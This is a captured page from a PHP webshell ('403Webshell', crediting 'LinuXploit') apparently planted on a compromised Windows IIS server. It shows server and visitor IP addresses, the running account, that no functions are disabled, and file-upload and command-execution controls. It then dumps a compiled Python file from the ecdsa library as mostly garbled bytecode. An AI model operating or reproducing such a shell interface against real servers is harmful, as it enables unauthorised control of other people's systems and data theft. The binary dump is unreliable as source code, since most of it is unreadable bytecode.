403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/MySQL/MySQL Workbench 6.3 CE/python/site-packages/ecdsa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/MySQL/MySQL Workbench 6.3 CE/python/site-packages/ecdsa/rfc6979.pyc
�
2�Xc@sdZddlZddlmZddlmZmZddlmZye	d�Wn�e
k
r�idd	6d
d6dd
6dd6dd6dd6dd6dd6dd6dd6dd6dd6d d!6d"d#6d$d%6d&d'6Zd(�Z	nXd)�Zd*�Z
d+�Zd,�ZdS(-s
RFC 6979:
    Deterministic Usage of the Digital Signature Algorithm (DSA) and
    Elliptic Curve Digital Signature Algorithm (ECDSA)

    http://tools.ietf.org/html/rfc6979

Many thanks to Coda Hale for his implementation in Go language:
    https://github.com/codahale/rfc6979
i����N(thexlifyi(tnumber_to_stringtnumber_to_string_crop(tbit0000t0t0001t1t0010t2t0011t3t0100t4t0101t5t0110t6t0111t7t1000t8t1001t9t1010tat1011Rt1100tct1101tdt1110tet1111tfcCsHdjd�dt|�D��jd�}|dkr@d|Sd|S(Ntcss|]}t|VqdS(N(tbinmap(t.0tx((sSC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\rfc6979.pys	<genexpr>ss%xRis-0bt0b(tjointabstlstrip(tvaluetv((sSC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\rfc6979.pytbins,cCs%t|�}|jd�}t|�S(Ns-0b(R-R*tlen(tnumts((sSC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\rfc6979.pyt
bit_lengthscCsAtt|�d�}t|�d}||kr=|||?S|S(Nii(tintRR.(tdatatqlenR&tl((sSC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\rfc6979.pytbits2int$s
cCsAt|t|��}||}|dkr4|}nt||�S(Ni(R6R1R(R3tordertz1tz2((sSC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\rfc6979.pytbits2octets,s

	cCs�t|�}|�j}|dd}t||�t||�}td�|}td�|}	tj|	|td�||�j�}	tj|	||�j�}tj|	|td�||�j�}	tj|	||�j�}x�tr�td�}
x;t	|
�|kr<tj|	||�j�}|
|7}
qWt
|
|�}|dkrh||krh|Stj|	|td�|�j�}	tj|	||�j�}q�WdS(s

        order - order of the DSA generator used in the signature
        secexp - secure exponent (private key) in numeric form
        hash_func - reference to the same hash function used for generating hash
        data - hash in binary form of the signing data
    iistR#iN(R1tdigest_sizeRR:RthmactnewtdigesttTrueR.R6(R7tsecexpt	hash_funcR3R4tholentrolentbxR,tktttsecret((sSC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\rfc6979.pyt
generate_k6s())	%(t__doc__R=tbinasciiRtutilRRtsixRR-t	NameErrorR$R1R6R:RI(((sSC:\Program Files\MySQL\MySQL Workbench 6.3 CE/python/site-packages\ecdsa\rfc6979.pyt<module>
s 

			

Youez - 2016 - github.com/yon3zu
LinuXploit